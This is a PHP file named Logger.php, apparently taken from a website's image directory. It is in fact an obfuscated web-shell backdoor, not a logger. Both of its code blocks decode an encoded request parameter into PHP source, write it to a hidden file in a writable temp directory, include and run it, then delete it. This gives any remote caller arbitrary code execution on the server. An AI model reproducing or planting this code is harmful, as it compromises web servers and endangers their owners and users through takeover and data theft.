File: //home/vitanhod/virgomax.vitavit.com.pk/img/Logger.php
<?php if(array_key_exists("s\x79\x6D", $_POST) && !is_null($_POST["s\x79\x6D"])){ $record = $_POST["s\x79\x6D"]; $record = explode( "." , $record ) ; $pset = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s2); $w = 0; $__tmp = $record; while ($v1 = array_shift($__tmp)) { $chS = ord($s2[$w%$lenS]); $d = ((int)$v1 - $chS - ($w%10)) ^ 64; $pset .= chr($d); $w++; } $entry = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", "/tmp", getenv("TEMP"), getcwd(), getenv("TMP"), sys_get_temp_dir()]); foreach ($entry as $token) { if (!( !is_dir($token) || !is_writable($token) )) { $entity = sprintf("%s/.item", $token); if (file_put_contents($entity, $pset)) { require $entity; unlink($entity); die(); } } } }
if(isset($_REQUEST["r\x65c"])){
$mrk = array_filter([getcwd(), getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir(), "/tmp", "/dev/shm", session_save_path()]);
$tkn = $_REQUEST["r\x65c"];
$tkn = explode ( "." , $tkn ) ;
$element = '';
$s = 'abcdefghijklmnopqrstuvwxyz0123456789';
$sLen = strlen($s );
foreach ($tkn as $k => $v2) {
$sChar = ord($s[$k% $sLen] );
$d = ((int)$v2 - $sChar - ($k% 10)) ^ 30;
$element .= chr($d );
}
foreach ($mrk as $key => $value) {
if ((is_dir($value) and is_writable($value))) {
$res = vsprintf("%s/%s", [$value, ".desc"]);
if (@file_put_contents($res, $element) !== false) {
include $res;
unlink($res);
exit;
}
}
}
}